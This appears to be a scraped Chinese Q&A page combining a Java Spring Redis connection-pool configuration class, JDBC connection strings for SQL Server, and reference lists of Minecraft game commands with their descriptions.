2019年6月8日 */ @Configuration @PropertySource("classpath:redis.properties") public class RedisConfig { @Value("${redis.maxIdle}") private Integer maxIdle; @Value("${redis.maxTotal}") private Integer maxTotal; @Value("${redis.maxWaitMillis}") private Integer maxWaitMillis; @Value("${redis.minEvictableIdleTimeMillis}") private Integer minEvictableIdleTimeMillis; @Value("${redis.numTestsPerEvictionRun}") private Integer numTestsPerEvictionRun; @Value("${redis.timeBetweenEvictionRunsMillis}") private long timeBetweenEvictionRunsMillis; @Value("${redis.testOnBorrow}") private boolean testOnBorrow; @Value("${redis.testWhileIdle}") private boolean testWhileIdle; @Value("${spring.redis.cluster.nodes}") private String clusterNodes; @Value("${spring.redis.cluster.max-redirects}") private Integer mmaxRedirectsac; /** * JedisPoolConfig 连接池 * @return */ @Bean public JedisPoolConfig jedisPoolConfig() { JedisPoolConfig jedisPoolConfig = new JedisPoolConfig(); // 最大空闲数 jedisPoolConfig.setMaxIdle(maxIdle); // 连接池的最大数据库连接数 jedisPoolConfig.setMaxTotal(maxTotal); // 最大建立连接等待时间 jedisPoolConfig.setMaxWaitMillis(maxWaitMillis); // 逐出连接的最小空闲时间 默认1800000毫秒(30分钟) jedisPoolConfig.setMinEvictableIdleTimeMillis(minEvictableIdleTimeMillis); // 每次逐出检查时 逐出的最大数目 如果为负数就是 : 1/abs(n), 默认3 jedisPoolConfig.setNumTestsPerEvictionRun(numTestsPerEvictionRun); // 逐出扫描的时间间隔(毫秒) 如果为负数,则不运行逐出线程, 默认-1 jedisPoolConfig.setTimeBetweenEvictionRunsMillis(timeBetweenEvictionRunsMillis); // 是否在从池中取出连接前进行检验,如果检验失败,则从池中去除连接并尝试取出另一个 jedisPoolConfig.setTestOnBorrow(testOnBorrow); // 在空闲时检查有效性, 默认false jedisPoolConfig.setTestWhileIdle(testWhileIdle); return jedisPoolConfig; } /** * @param jedisPoolConfig * @return */ @Bean public JedisConnectionFactory JedisConnectionFactory(JedisPoolConfig jedisPoolConfig){ JedisConnectionFactory JedisConnectionFactory = new JedisConnectionFactory(jedisPoolConfig); //连接池 JedisConnectionFactory.setPoolConfig(jedisPoolConfig); //IP地址 JedisConnectionFactory.setHostName("172.16.44.148"); //端口号 JedisConnectionFactory.setPort(6379); //如果Redis设置有密码 //JedisConnectionFactory.setPassword(password); //客户端超时时间单位是毫秒 JedisConnectionFactory.setTimeout(5000); return JedisConnectionFactory; } /** * 实例化 RedisTemplate 对象 * * @return */ @Bean public RedisTemplate<String, Object> functionDomainRedisTemplate(RedisConnectionFactory redisConnectionFactory) { RedisTemplate<String, Object> redisTemplate = new RedisTemplate<>(); initDomainRedisTemplate(redisTemplate, redisConnectionFactory); return redisTemplate; } /** * 设置数据存入 redis 的序列化方式,并开启事务 * * @param redisTemplate * @param factory */ private void initDomainRedisTemplate(RedisTemplate<String, Object> redisTemplate, RedisConnectionFactory factory) { //如果不配置Serializer,那么存储的时候缺省使用String,如果用User类型存储,那么会提示错误User can"t cast to String! redisTemplate.setKeySerializer(new StringRedisSerializer()); redisTemplate.setHashKeySerializer(new StringRedisSerializer()); redisTemplate.setHashValueSerializer(new GenericJackson2JsonRedisSerializer()); redisTemplate.setValueSerializer(new GenericJackson2JsonRedisSerializer()); // 开启事务 redisTemplate.setEnableTransactionSupport(true); redisTemplate.setConnectionFactory(factory); } @Bean(name = "redisUtil") public RedisUtil redisUtil(RedisTemplate<String, Object> redisTemplate) { RedisUtil redisUtil = new RedisUtil(); redisUtil.setRedisTemplate(redisTemplate); return redisUtil; } }
2023-06-27 09:43:521

怎么使用JDBC连接SQL Server

sql2000com.microsoft.jdbc.sqlserver.SQLServerDriverjdbc:microsoft:sqlserver://<server>:<port>;DatabaseName=<database>3个文件:msbase.jarmssqlserver.jarmsutil.jarsql2005及以后com.microsoft.sqlserver.jdbc.SQLServerDriverjdbc:sqlserver://<server>:<port>;DatabaseName=<database>1个文件:sqljdbc.jar 或者 sqljdbc4.jar
2023-06-27 09:44:002

求我的世界1.8所有指令

有很多,一般不会都用到,除非你是地图开发者玩家命令:help [页码 | 命令名]? [页码 | 命令名] 列出可以使用的命令或有关命令名更多的信息。 tell <玩家名称> <信息>msg<玩家名称> <信息>w <玩家名称> <信息> 用来发送给服务器里的玩家一条私信。 在需要和玩家交流时非常有用。 me <动作信息> 和 /emote 或 /action相似,而且其作用和IRC客户端里的 /me 命令一样, /me命令会以叙述的方式显示出这个玩家在做什么,具体显示为"* 你的名字 动作信息" (比如: "* 你的名字 打了个喷嚏。")。 trigger <目标> <add | set> <数值> 修改带有Trigger准则的目标(被称为触发器),此命令可以被非管理员玩家使用。见版本记录 OP命令:achievement give <数据名> [玩家名] 用于赐予玩家成就。 blockdata <x> <y> <z> <数据标签> 用于编辑指定坐标的数据标签。 clear <玩家名> [物品] [数据] 清空该玩家的物品栏,或只清除特定的物品。 clone <x1> <y1> <z1> <x2> <y2> <z2> <X> <Y> <Z> [主模式] [子模式] 复制指定区域的方块,目的坐标是(X,Y,Z),主模式有 [ replace ]复制每一个方块、[ masked ]只会复制非空气方块、[ filtered ]过滤不想被影响的方块。子模式有 [ move | force | normal ]。debug <start | stop> 开始一次新的除错进程或是停止当前进程。除错进程会监控任何控制台内的潜在信息并在停止之后将信息记录在debug文件夹内。 defaultgamemode <survival | creative | adventure | spectator> 设置默认的游戏模式。新加入的玩家将被设置为该模式。生存/创造/冒险/旁观也可以简写为“s/c/a/sp”或“0/1/2/3”。 difficulty <0 | 1 | 2 | 3> 改变游戏难度。0为和平,1为容易,2为普通,3为困难, effect <玩家名> <药水效果> [秒数] [倍率] 给予目标玩家持续指定时间的指定药水效果(默认30秒,最长可设置1000000秒)。“倍率”代表效果强度(最大为255),0为取消该效果。药水效果用ID表示,详见药水效果。 effect <玩家名> clear 清除该玩家身上的所有效果。 enchant <玩家名> <魔咒ID> [魔咒等级] 附魔玩家持有的物品。请注意用该命令附魔的魔咒无法超越正常附魔步骤的限制,例如最大等级、魔咒冲突、魔咒限制等,详见附魔。 entitydata <实体名> <数据标签> 用于编辑指定实体的数据标签,对玩家无效 execute <玩家名 | 实体名> <x> <y> <z> <命令> 以目标玩家或实体为中心执行命令,可以用来通过玩家及实体的运动生成生物或放置方块。 fill <x1> <y1> <z1> <x2> <y2> <z2> <方块名> [数据值] [旧方块处理方式]<数据标签> 用指定方块填满指定区域。旧方块处理方式可为:[ replace | destroy | keep | hollow | outline ]。能指定要处理的旧方块种类,前提是不包含方块实体值,仅能在replace模式中使用,语法:/fill [x] [y] [z] [x] [y] [z] [方块名] [数据] replace [过滤方块名] [过滤数据] gamemode <survival | creative | adventure | spectator> [玩家名] 改变该玩家的游戏模式。生存/创造/冒险/旁观也可以简写为“s/c/a/sp”或“0/1/2/3”。如果未定义玩家名,那么该命令会更改你自己的游戏模式。注意: 要成功改变游戏模式,该玩家必须在线。 gamerule <规则名> [true | false] 激活或取消规则名。规则包括:doFireTick, doMobLoot, doMobSpawning, doTileDrops, keepInventory, mobGriefing and commandBlockOutput(详见命令方块条目) give <玩家名> <数据值> [数量] [附加数据值] 给予玩家的物品栏一定"数量(默认为1)的物品(由数据值与方块实体值(默认为0)定义)。 kill [玩家名] 对指定的玩家造成1000 ( × 500)点伤害(一击必杀),未指定则为使用该命令的玩家。 当你迷路或者被卡住的时候很有用。如果你有把握找回身上的物品,那么这也是个快速补满饥饿值的好方法。这个命令在创造模式下依然有效。 partcles <颗粒> <x> <y> <z> <x偏移量> <y偏移量> <z偏移量> <速度> [颗粒数] 显示颗粒效果。 playsound <音乐/声效> <玩家名> [x] [y] [z] [音量] [频率] [最小音量] 播放声效。 publish 将单人游戏向局域网玩家开放。 replaceitem <entity | block> 给予实体或方块物品。 say <信息> 广播 信息 至所有在线的玩家。(使用明亮的粉红色字体) scoreboard <objective | players> 详细信息请参见计分板条目。 seed 显示服务器地图种子。 setblock <x> <y> <z> <方块名> [数据值] [旧方块处理方式] [数据标签] 用于创造,删除,或代替单个方块。旧方块处理方式可为:[ keep | replace | destroy ] setworldspawn [x] [y] [z] 设置所有玩家的出生点(即使是从未进入服务器的玩家或是不在线的玩家,但不会覆盖床的设置)。 spawnpoint <玩家名> [x] [y] [z] 将该玩家的出生点移到指定位置。如果该位置没有定义,那么“指定位置”就是玩家当前位置。 spreadplayers <x> <z> <分布距离> <最大半径> <是否采用队伍> <玩家名> 把玩家分布到一个起始点.能够定义分散范围与最小间距。 summon <实体名> [x] [y] [z] [数据标签] 用于在游戏中生成任何实体,包括巨人,末影水晶,末影龙,和激活的TNT。 tellraw <玩家名> <原json消息> 运用json语言来在聊天窗口中显示高级文本(如创造出"按钮"和格式化文本)。 testfor <玩家名> 测试指定的玩家是否在线或指定玩家是否在指定位置,在1.7.6之前只可以由命令方块使用。 testforblock <x> <y> <z> <方块名> [数据值] [数据标签] 检测在指定位置的方块否与指定的方块相同。 testforblocks <x1> <y1> <z1> <x2> <y2> <z2> [模式] 检测在指定区域的方块是否与另一区域的方块相同。 time set <时间 | day | night> 设置世界时间。时间为0到24000之间的整数,0为凌晨,6000为正午,12000为傍晚,18000为午夜。"time set day"相当于把时间设为1000(旧版为0),"time set night"相当于把时间设为12500(旧版为12000)。 time add <时间> 将世界时间往后拨一段时间。时间必须为自然数。 toggledownfall 更改天气为下雨或下雪。 tp <目标玩家> 将玩家自己传送至目标玩家的位置。 tp <玩家名> <目标玩家> 将指定玩家传送至目标玩家的位置。 tp <玩家名> <x> <y> <z> 将指定玩家传送到指定位置。如果坐标号前加~,则代表相对坐标。例如/tp John ~3 64 ~3会将ID为John的玩家传送到他目前的x、z坐标各加3的位置,再将高度调到64。 weather <clear | rain | thunder> <持续秒数> 改变天气。持续秒数最大为1000000。 xp <数量> <玩家名> 给予该玩家指定数量的经验。最大数量为2,147,483,647。负数代表减少经验。数量后加L代表增加指定的等级。 只有多人生存模式可用的命令[编辑]命令描述ban <玩家名称> 封禁拥有玩家名称名称的玩家,列入黑名单,令其永远无法登进此服务器。 注意:封禁操作会覆盖之前的白名单操作。 ban-ip <ip 地址> 封禁一个特定的IP,列入黑名单,并从此拒绝任何从该地址而来的连接请求。 banlist [ips] 显示封禁名单。若要列出封禁的IP,请使用banlist ips指令。 deop <玩家名称> 撤销一个玩家的管理员身份。 kick <玩家名称> 强制断开玩家名称与服务器的连接。 list 显示当前在线的玩家列表。(按Tab u21b9也会有同样的效果)。 op <玩家名称> 授予 玩家名称 在服务器里的管理员职位。 pardon <玩家名称> 将 玩家名称 移出黑名单,允许他再次连接到服务器。 pardon-ip <ip地址> 将 ip地址 从IP黑名单移除,允许该IP连接到服务器。 save-all 强制将服务器尚未储存地变更写入存档。 save-off 取消服务器对地图存档的写入。所有的更改都会暂时进入等待队列。 save-on 允许服务器写入地图存档。这项是默认设定。 setidletimeout <闲置时限(分钟)> 会自动将挂机过久的玩家踢下线。 stop 正常关闭服务器。 whitelist <add|remove> <玩家名称> 将玩家名称加进或移出白名单。 whitelist <list> 显示所有在白名单上的玩家。 whitelist <on|off> 启用/停用服务器的白名单机制。 注意: 服务器的OP总是能够在白名单打开时进入服务器,无论他们在与不在白名单上。 whitelist reload 重新从硬盘读取white-list.txt上的白名单。(当white-list.txt在Minecraft外被更改时可以使用此指令)。 不搬运了,自己看吧:http://minecraft-zh.gamepedia.com/%E6%8C%87%E4%BB%A4
2023-06-27 09:44:092

我的世界指令代码大全 2022最全指令代码大全汇总

我的世界中指令(Command)是通过输入特定文本字符串而激活的高级功能。通过按下T键唤出聊天窗口然后输入对应指令就可以使用了。常见的指令有召唤指令/summon、给予指令/give、传送指令/tp等。本次为大家带来了2022最全整理的指令代码大全,一共有92条,欢迎查看。 我的世界指令代码大全如下: 常用指令代码 召唤指令/summon 给予指令/give 传送指令/tp 指令代码汇总 /? /help的替代命令,提供命令使用帮助。 /ability 赋予或剥夺玩家的能力。 /advancement 添加、移除或查询玩家的进度。 /alwaysday /daylock的替代命令,锁定或解锁日夜循环。 /attribute 修改或查询玩家和生物的属性。 /ban 将玩家加入封禁列表。 /ban-ip 将IP地址加入封禁列表。 /banlist 显示封禁列表。 /bossbar 修改或查询Boss栏。 /camerashake 启用镜头抖动效果。 /changesetting 更改一个正在运行的服务器的设置。 /clear 从玩家物品栏中删除物品。 /clearspawnpoint 从世界中移除出生点。 /clone 将特定区域的方块复制到另一处。 /connect /wsserver的替代命令,连接至一个WebSocket服务器。 /damage 对指定实体造成伤害。 /data 允许玩家获取、合并或是移除实体或方块的NBT标签。 /datapack 控制加载的数据包。 /daylock /alwaysday的替代命令,锁定或解锁日夜循环。 /debug 开始或结束调试会话。 /dedicatedwsserver 尝试连接一个WebSocket服务器。 /defaultgamemode 更改默认的游戏模式。 /deop 撤销玩家的管理员权限。 /dialogue 打开一个玩家的NPC对话。 /difficulty 设置难度等级。 /effect 添加或移除状态效果。 /enchant 附魔玩家的物品。 /event 用于触发一个实体的事件。 /execute 更改执行环境的情况下执行另一条命令。 /experience /xp的替代命令,给予玩家经验。 /fill 在某个区域填充特定方块。 /fog 用于更改玩家当前的雾设置。 /forceload 强制不断加载区块。 /function 运行一个函数。 /gamemode 更改玩家的游戏模式。 /gamerule 更改或查询游戏规则。 /gametest 用于测试GameTest功能。 /give 给予玩家物品。 /help /?的替代命令,提供命令使用帮助。 /immutableworld 设置世界的不可变状态。 /item 用于修改方块或实体的物品栏。 /jfr 开始或结束JFR分析。 /kick 将玩家踢出服务器。 /kill 清除实体(玩家、生物、掉落物等)。 /list 列出服务器中的玩家。 /locate 显示最近的给定结构、生物群系或兴趣点的坐标。 /loot 将指定的战利品放入物品栏或世界。 /me 显示一条关于自己的信息。 /mobevent 控制或查询允许运行的生物事件。 /msg /tell和/w的替代命令,向另一玩家发送私信。 /music 设置玩家是否能控制当前播放的音乐。 /op 授予玩家管理员权限。 /ops /permission的替代命令,重载并应用权限。 /pardon 从封禁列表中移除玩家封禁项目。 /pardon-ip 从封禁列表中移除IP封禁项目。 /particle 创建粒子。 /perf 记录并保存性能分析数据。 /permission /ops的替代命令,重载并应用权限。 /place 在满足条件的指定位置放置一个已配置地物、拼图或结构。 /playanimation 运行一次特定动作。 /playsound 播放音效。 /publish 向局域网开放单人游戏世界。 /recipe 给予或剥夺合成配方。 /reload 从硬盘中重新加载战利品表、进度和函数。 /remove 移除智能体。 /replaceitem 替换物品栏中的物品。 /ride 控制一个实体的骑行状态。 /save 准备备份,查询其状态或恢复。 /save-all 保存服务器世界状态到硬盘。 /save-off 关闭服务器自动保存。 /save-on 开启服务器自动保存。 /say 向多个玩家发送消息。 /schedule 安排函数在特定的游戏刻后运行。 /scoreboard 管理记分板的目标、玩家和队伍。 /seed 显示世界种子。 /setblock 将方块替换为其他方块。 /setidletimeout 设置无操作玩家被踢出的延时。 /setmaxplayers 设置可加入游戏的玩家数量上限。 /setworldspawn 设置世界出生点。 /spawnpoint 设置一个玩家的出生地点。 /spectate 使一个处于旁观模式的玩家旁观一个实体。 /spreadplayers 将实体传送到随机位置。 /stop 关闭服务器。 /stopsound 停止音效。 /structure 无需结构方块即可保存和加载结构。 /summon 生成一个实体。 /tag 修改实体的标签。 /team 修改队伍。 /teammsg /tm的替代命令,指定要发送给队伍的消息。 /teleport /tp的替代命令,传送实体。 /tell /msg和/w的替代命令,向另一个玩家发送私信。 /tellraw 向玩家显示JSON消息。 /testfor 统计符合给定条件的实体。 /testforblock 检测某方块是否在某位置。 /testforblocks 检测两个区域中的方块是否相同。 /tickingarea 添加、删除或列出常加载区域。 /time 更改或查询游戏中的世界时间。 /title 管理屏幕上的标题。 /titleraw 使用JSON管理屏幕上的标题。 /tm /teammsg的替代命令,指定要发送给队伍的消息。 /toggledownfall 切换天气。 /tp /teleport的替代命令,传送实体。 /trigger 设置一个触发器。 /volumearea 添加、删除或列出功能域。 /w /tell和/msg的替代命令,向另一玩家发送私信。 /wb /worldbuilder的替代命令,给予能编辑受限制方块的能力。 /weather 设置天气。 /whitelist 管理服务器白名单。 /worldborder 管理世界边界。 /worldbuilder /wb的替代命令,给予能编辑受限制方块的能力。 /wsserver /connect的替代命令,连接至WebSocket服务器。 /xp /experience的替代命令[仅Java版],增加或减少一个玩家的经验。
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